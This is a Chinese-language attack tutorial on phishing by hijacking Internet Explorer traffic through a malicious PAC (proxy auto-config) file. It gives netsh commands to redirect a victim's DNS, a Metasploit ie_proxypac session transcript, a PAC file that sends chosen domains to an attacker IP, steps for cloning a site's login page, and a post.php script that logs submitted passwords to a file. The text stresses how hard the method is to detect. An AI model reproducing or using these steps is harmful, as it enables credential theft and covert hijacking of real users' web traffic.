通過.PAC(自動配置代理)文件進行網(wǎng)絡(luò)釣魚
0x00 常見網(wǎng)絡(luò)釣魚方式
攻擊者進行網(wǎng)絡(luò)釣魚的方式常有以下幾種:
1. 通過修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts)來實現(xiàn);
2. 通過修改受害者dns來實現(xiàn);
3. 已經(jīng)進入路由器,直接修改路由器的DNS。
羅列的并不全,之后遇到的話再補充,上述三種方式很常見。
修改HOSTS文件,即攻擊者修改受害者HOSTS文件為如下形式:
127.0.0.1 localhost x.x.x.x www.wooyun.com
這樣就受害者訪問www.wooyun.com會直接訪問到x.x.x.x。在msf中可以使用inject_host腳本來實現(xiàn)。
修改dns進行攻擊:
攻擊者可是使用如下命令修改受害者的dns地址(管理員身份執(zhí)行):
C:\Windows\system32>netsh interface ip show interfaces
Idx Met MTU 狀態(tài) 名稱
--- --- ----- ----------- -------------------
1 50 4294967295 connected Loopback Pseudo-Interface 1
10 10 1500 connected 本地連接C:\Windows\system32>netsh interface ip set dns "本地連接" static 192.168.1.100
C:\Windows\system32>ipconfig /all | findstr 192.168.1.100
DNS 服務(wù)器 . . . . . . . . . . . : 192.168.1.100
這樣就修改了受害者的DNS地址,之后可以使用msf的 fakedns來架設(shè)dns服務(wù)器來修改域名的解析地址。
除了直接修改路由器的DNS地址的以上兩種方式在某些環(huán)境下還是有一些缺點的,例如,一些牛逼的AV會檢測到文件的修改而發(fā)出報警,除此之外,如果受害者所處內(nèi)網(wǎng)環(huán)境中的防火墻或路由器攔截對外部的DNS請求,修改受害者DNS的攻擊方式并不能生效(因為攻擊者架設(shè)的DNS在外網(wǎng)環(huán)境下)。
0x01 通過PAC代理
本文主要介紹的是Metasploit中的一個模塊ie_proxypac。通過.PAC(自動配置代理)文件來完全控制IE的用戶流量。只需要修改PAC文件,攻擊者就能使受害者訪問的某個域名指向攻擊者的IP。雖然沒有修改DNS但是可以達到同樣的效果,且這種方式較為隱蔽。已經(jīng)有很多人使用這種方式進行網(wǎng)絡(luò)釣魚。
下面是一個PAC文件示例:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.baidu.com")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這個文件的配置是當(dāng)受害者訪問www.wooyun.com以及www.baidu.com時,他會直接請求到攻擊者ip( 192.168.52.129)。
詳細的PAC編寫請查看http://findproxyforurl.com/pac-functions/。
將以上腳本保存為test.pac,在獲取meterpreter會話的基礎(chǔ)上使用ie_proxypac腳本:
- meterpreter > background
- [*] Backgrounding session 1...
- msf > use post/windows/manage/ie_proxypac
- msf post(ie_proxypac) > set session 1
- session => 1
- msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
- REMOTE_PAC => http://192.168.52.129/test.pac
- msf post(ie_proxypac) > show options
- Module options (post/windows/manage/ie_proxypac):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- AUTO_DETECT false yes Automatically detect settings.
- DISABLE_PROXY false yes Disable the proxy server.
- LOCAL_PAC no Local PAC file.
- REMOTE_PAC http://192.168.52.129/test.pac no Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
- SESSION 1 yes The session to run this module on.
- msf post(ie_proxypac) > exploit
- [*] Setting automatic configuration script from local PAC file ...
- [+] Automatic configuration script configured...
- [*] Post module execution completed
之后打開ie,internet選項->連接->局域網(wǎng)設(shè)置:

可以看到pac已經(jīng)使用pac文件進行了代理。
代理盡量使用遠程代理,因為IE11默認禁止本地代理,如果使用本地代理,代理是無效的。詳情測試發(fā)現(xiàn),如果連接了vpn,pac代理是失效的。
現(xiàn)在再訪問www.baidu.com,www.wooyun.org,會看到已經(jīng)轉(zhuǎn)移到了我們制定的ip:

0x02 能做什么
這里我們修改pac文件如下:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
這里ip要改成自己的web的ip,如果受害者請求的網(wǎng)站host為 www.wooyun.org 時,滿足規(guī)則,然后跳轉(zhuǎn)到我們指定的ip地址,這里我們可以來構(gòu)造釣魚。
打開wooyun,右鍵查看源代碼,將所有源代碼保存為index.html,放在網(wǎng)站根目錄下,因為當(dāng)受害者請求 http://wooyun.org,其host為 wooyun.org 不滿足代理條件,就會直接請求,所以我們把源代碼中的www.wooyun.org,改為wooyun.org:

然后找到url,src,href標(biāo)簽,修改為http://wooyun.org/xxxx 的形式,比如
- <link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
修改為
- <link href="http://wooyun.org/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
改完以后,基本上就算克隆成功了:

下來要把登陸頁面的的源碼復(fù)制過來,打開http://www.wooyun.org/user.php?action=login,右鍵復(fù)制源碼,保存為user.php,放在網(wǎng)站根目錄下,修改源碼中的url,src,href。修改完之后,打開index.html文件,定位登錄,修改href為 user.php?action=login,修改以后此標(biāo)簽為:
- <a href="user.php?action=login">登錄</a> | <a href="http://wooyun.org/user.php?action=register" class="reg">注冊</a>
打開user.php,定位用戶登錄表單,修改表單action為post.php:
- <a href="#">用戶登錄</a></div>
- </div>
- <form action="post.php" method="POST">
- .....
在網(wǎng)站根目錄新建post.php,添加如下代碼:
- <?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />
這樣釣魚站就搭建好了。
當(dāng)用戶登錄時:

點擊登陸以后會跳轉(zhuǎn)到http://wooyun.org/user.php?action=login

查看data.txt:

只是簡單地一個示例,具體可以通過修改pac文件來實現(xiàn)控制瀏覽器是否進行代理。
0x03 小結(jié)
此種方式進行網(wǎng)絡(luò)釣魚,做的細致的話,很難被發(fā)現(xiàn),而且隱蔽性好,缺點就是連接vpn以后代理將會失效。以上是個人的測試結(jié)果,請各位大牛指正。